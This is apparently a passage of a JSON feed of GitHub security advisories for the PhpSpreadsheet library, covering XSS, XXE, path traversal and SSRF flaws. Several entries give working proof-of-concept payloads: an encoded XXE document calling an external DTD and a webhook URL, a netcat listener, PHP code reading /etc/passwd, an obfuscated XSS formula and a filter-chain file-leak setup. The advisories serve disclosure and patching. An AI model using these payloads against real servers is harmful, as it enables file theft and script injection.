src=\"https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625\" /\u003e\n\n*Figure 6. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T16:05:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xg","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://nvd.nist.gov/vuln/detail/CVE-2024-56408","https://github.com/PHPOffice/PhpSpreadsheet/commit/9b9a55c7154daa7cd4095f618933c240508ba3c1","https://github.com/PHPOffice/PhpSpreadsheet/commit/a50ebfe118b3ae0ddaea1c48ac19dc38692f4abc","https://github.com/PHPOffice/PhpSpreadsheet/commit/b8fac55aa5cb7a3d514c7308378bb37bb711b25e","https://github.com/advisories/GHSA-x88g-h956-m5xg"],"source_kind":"github","identifiers":["GHSA-x88g-h956-m5xg","CVE-2024-56408"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T17:08:56.891Z","updated_at":"2025-06-03T01:08:15.954Z","epss_percentage":0.00039,"epss_percentile":0.10817},{"uuid":"GSA_kwCzR0hTQS13djIzLTk5NnYtcTIyOc4ABC8k","url":"https://github.com/advisories/GHSA-wv23-996v-q229","title":"PhpSpreadsheet has a Cross-Site Scripting (XSS) vulnerability in custom properties","description":"# Cross-Site Scripting (XSS) vulnerability in custom properties\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description**: the HTML page is generated without clearing custom properties\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateMeta`\n**Exploitation conditions**: a user viewing a specially generated Excel file\n**Mitigation**: additional sanitization of special characters in a string\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in custom properties in Phpspreadsheet.\nThe following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.\n\n*Listing 9. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileName = './doc/Book1.xlsx';\n$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nAn attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code.\nThe Excel file is unpacked and a custom property in the file is inserted into the `docProps/custom.xml` file.\n\n![fig17](https://github.com/user-attachments/assets/65453b48-bca5-4f5c-a683-315a7bb1ab1f)\n\n*Figure 17. Embedding the payload*\n\nAfter making the changes, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into an HTML representation, a property is obtained that participates in the formation of a string without sanitization.\n\n![fig18](https://github.com/user-attachments/assets/e0f63bfb-d9e1-4c9d-a2a9-8a0a20406cdc)\n\n*Figure 18. Getting a custom property*\n\nWhen calling the static `generateMeta` method, you can see that the key of the custom property is displayed without sanitization.\n\n![fig19](https://github.com/user-attachments/assets/8c74e264-af68-4f62-8ac7-437e65884e86)\n\n*Figure 19. Getting a custom property*\n\nAs a result, when viewing the excel file as the HTML representation, arbitrary JavaScript code will be executed.\n\n\u003cimg width=\"356\" alt=\"fig20\" src=\"https://github.com/user-attachments/assets/a6ed21e3-685c-415c-b2dc-453bc0652bef\" /\u003e\n\n*Figure 20. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-03T17:25:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wv23-996v-q229","https://github.com/PHPOffice/PhpSpreadsheet/commit/45052f88e04c735d56457a8ffcdc40b2635a028e","https://nvd.nist.gov/vuln/detail/CVE-2024-56410","https://github.com/advisories/GHSA-wv23-996v-q229"],"source_kind":"github","identifiers":["GHSA-wv23-996v-q229","CVE-2024-56410"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2025-01-03T18:08:21.571Z","updated_at":"2025-06-03T01:08:16.000Z","epss_percentage":0.00028,"epss_percentile":0.06063},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRtcXYtZ2NyMy1wZmY5","url":"https://github.com/advisories/GHSA-4mqv-gcr3-pff9","title":"Cross-site scripting in phpoffice/phpspreadsheet","description":"This affects the package phpoffice/phpspreadsheet. The library is vulnerable to XSS when creating an html output from an excel file by adding a comment on any cell. The root cause of this issue is within the HTML writer where user comments are concatenated as part of link and this is returned as HTML.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-06T18:53:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2020-7776","https://github.com/PHPOffice/PhpSpreadsheet/commit/0ed5b800be2136bcb8fa9c1bdf59abc957a98845","https://github.com/PHPOffice/PhpSpreadsheet/blob/master/src/PhpSpreadsheet/Writer/Html.php%23L1792","https://snyk.io/vuln/SNYK-PHP-PHPOFFICEPHPSPREADSHEET-1048856","https://github.com/PHPOffice/PhpSpreadsheet/pull/1719","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2020-7776.yaml","https://github.com/advisories/GHSA-4mqv-gcr3-pff9"],"source_kind":"github","identifiers":["GHSA-4mqv-gcr3-pff9","CVE-2020-7776"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003c 1.16.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2022-12-21T16:13:07.862Z","updated_at":"2025-03-06T18:08:50.000Z","epss_percentage":0.00335,"epss_percentile":0.55545},{"uuid":"GSA_kwCzR0hTQS1qdzR4LXY2OWYtaGg1d84ABBeP","url":"https://github.com/advisories/GHSA-jw4x-v69f-hh5w","title":"XmlScanner bypass leads to XXE","description":"### Summary\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in \u003chttps://www.w3.org/TR/xml/#sec-guessing-no-ext-info\u003e.\n\n\n### Details\nThe `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the [`toUtf8` method](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L76).\nThen, the `scan` method uses a [regex](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L79) which would also work with 16-bit encoding.\n\nHowever, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in \u003chttps://www.w3.org/TR/xml/#sec-guessing-no-ext-info\u003e.\n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-32BE%20(12001)')\u0026input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\n### PoC\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17334157/payload.xlsx) file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on \u003chttps://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a\u003e.\n\n### Impact\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-18T20:01:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jw4x-v69f-hh5w","https://nvd.nist.gov/vuln/detail/CVE-2024-47873","https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php","https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing","https://www.w3.org/TR/xml/#sec-guessing-no-ext-info","https://github.com/advisories/GHSA-jw4x-v69f-hh5w"],"source_kind":"github","identifiers":["GHSA-jw4x-v69f-hh5w","CVE-2024-47873"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.4.0"},{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.3"},{"first_patched_version":"1.29.4","vulnerable_version_range":"\u003c 1.29.4"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-11-18T21:06:56.051Z","updated_at":"2025-03-06T18:15:32.000Z","epss_percentage":0.00027,"epss_percentile":0.05659},{"uuid":"GSA_kwCzR0hTQS13OXh2LXFmOTgtY2NxNM4ABABd","url":"https://github.com/advisories/GHSA-w9xv-qf98-ccq4","title":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled","description":"### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' =\u003e ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '\u003cimg style=\"position: absolute; z-index: 1; left: '\n    . $drawing-\u003egetOffsetX() . 'px; top: ' . $drawing-\u003egetOffsetY() . 'px; width: '\n    . $drawing-\u003egetWidth() . 'px; height: ' . $drawing-\u003egetHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" /\u003e';\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?\u003cdata\u003e[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-07T15:58:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4","https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a","https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec","https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465","https://nvd.nist.gov/vuln/detail/CVE-2024-45291","https://github.com/advisories/GHSA-w9xv-qf98-ccq4"],"source_kind":"github","identifiers":["GHSA-w9xv-qf98-ccq4","CVE-2024-45291"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":25.817879620489496,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-10-07T16:06:23.941Z","updated_at":"2025-03-06T18:13:22.000Z","epss_percentage":0.0025,"epss_percentile":0.48257},{"uuid":"GSA_kwCzR0hTQS12NjZnLXA5eDYtdjk4cM4ABAA1","url":"https://github.com/advisories/GHSA-v66g-p9x6-v98p","title":"PhpSpreadsheet has an Unauthenticated Cross-Site-Scripting (XSS) in sample file","description":"### Summary\nOne of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection.\n\n### Details\n\nThe following [code](https://github.com/PHPOffice/PhpSpreadsheet/blob/d50b8b5de7e30439fb57eae7df9ea90e79fa0f2d/samples/Basic/45_Quadratic_equation_solver.php#L56) in `45_Quadratic_equation_solver.php` concatenates the user supplied parameters directly into spreadsheet formulas. This allows an attacker to take control over the formula and output unsanitized data into the page, resulting in JavaScript execution.\n```\n$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';\n$discriminant = Calculation::getInstance()-\u003ecalculateFormula($discriminantFormula);\n\n$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';\n$r2Formula = '=IF(' . $discriminant . '=0,\"Only one root\",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';\n```\n\n\n### PoC\n1. Access `45_Quadratic_equation_solver.php` in a browser\n2. Enter any valid values for for `b` and `c`, and enter the following for `a`\n\n```\n1) \u0026 (\"1)),1)\u0026char(60)\u0026char(105)\u0026char(109)\u0026char(103)\u0026char(32)\u0026char(115)\u0026char(114)\u0026char(99)\u0026char(61)\u0026char(120)\u0026char(32)\u0026char(111)\u0026char(110)\u0026char(101)\u0026char(114)\u0026char(114)\u0026char(111)\u0026char(114)\u0026char(61)\u0026char(97)\u0026char(108)\u0026char(101)\u0026char(114)\u0026char(116)\u0026char(40)\u0026char(41)\u0026char(62)\u0026POWER(((1\") \u0026n(\"1\")\u0026(1\n```\n\n3. Press submit and observe that JavaScript is executed.\n\n![exploit-phpspreadsheet](https://user-images.githubusercontent.com/1211162/297062610-0cdb26d1-2b47-46e2-bd31-189b0694186d.png)\n\n### Impact\n\nThe impact of this vulnerability on the project is expected to be relatively low since these are sample files that should not be included when the library is used properly (e.g., through composer). However, at least two instances of popular WordPress plugins have unintentionally exposed this file by including the entire git repository. Since these files also serve as reference points for developers using the library, addressing this issue can enhance security for users.\n\nA solution to fix the vulnerability is proposed below, and a request for a CVE assignment has been made to facilitate responsible disclosure of the security issue to the affected WordPress plugins.\n\n### Remediation\n\nA quick and easy solution to prevent this attack is to force the parameters to be numerical values:\n\n```php\nif (isset($_POST['submit'])) {\n    $_POST['A'] = floatval($_POST['A']);\n    $_POST['B'] = floatval($_POST['B']);\n    $_POST['C'] = floatval($_POST['C']);\n    if ($_POST['A'] == 0) {\n```\n\nThank you for your time!","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-07T14:43:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-v66g-p9x6-v98p","https://github.com/PHPOffice/PhpSpreadsheet/commit/3990173db1207767139e63d33783beafada57007","https://github.com/PHPOffice/PhpSpreadsheet/commit/bc74f3aa1d76f191c6c7c3631e286abb25c38759","https://github.com/PHPOffice/PhpSpreadsheet/commit/fb42a103f14cfce258c836b31f4a71f1fb1a9747","https://nvd.nist.gov/vuln/detail/CVE-2024-45060","https://github.com/PHPOffice/PhpSpreadsheet/blob/d50b8b5de7e30439fb57eae7df9ea90e79fa0f2d/samples/Basic/45_Quadratic_equation_solver.php#L56","https://github.com/advisories/GHSA-v66g-p9x6-v98p"],"source_kind":"github","identifiers":["GHSA-v66g-p9x6-v98p","CVE-2024-45060"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":22.80579366476572,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"ecosystem":"packagist","package_name":"phpoffice/phpexcel"},{"versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.29.2","vulnerable_version_range":"\u003c 1.29.2"},{"first_patched_version":"2.3.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.0"}],"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet"}],"created_at":"2024-10-07T15:06:20.606Z","updated_at":"2025-03-06T18:11:25.000Z","epss_percentage":0.00117,"epss_percentile":0.31776},{"uuid":"GSA_kwCzR0hTQS01Z3ByLXcycDUtNm0zN84ABABc","url":"https://github.com/advisories/GHSA-5gpr-w2p5-6m37","title":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file","description":"### Summary\n\nIt's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n    // ...omit irrelevant code...\n} else {\n    $linkImageKey = (string) self::getArrayItem(\n        $blip-\u003eattributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),\n        'link'\n    );\n    if (isset($images[$linkImageKey])) {\n        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);\n        $objDrawing-\u003esetPath($url);\n    }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n    if ($verifyFile \u0026\u0026 preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {\n        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979\n        if (filter_var($path, FILTER_VALIDATE_URL)) {\n            $this-\u003epath = $path;\n            // Implicit that it is a URL, rather store info than running check above on value in other places.\n            $this-\u003eisUrl = true;\n            $imageContents = file_get_contents($path);\n            // ... check dimensions etc. ...\n```\n\nIt's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"this can be whatever\" /\u003e\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to\n// keep the PoC simple, I've combined this into the same file.\n\n$file = \"book_tampered.xlsx\";\n$payload = $_POST[\"payload\"]; // the payload comes from the Python script\n\ncopy(\"book.xlsx\",$file);\n$zip = new ZipArchive;\n$zip-\u003eopen($file);\n\n$path = \"xl/drawings/_rels/drawing1.xml.rels\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace(\"../media/image1.gif\", $payload, $content);\n$zip-\u003eaddFromString($path, $content);\n\n$path = \"xl/drawings/drawing1.xml\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace('r:embed=\"rId1\"', 'r:link=\"rId1\"', $content);\n$zip-\u003eaddFromString($path, $content);\n\n$zip-\u003eclose();\n\n// The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ 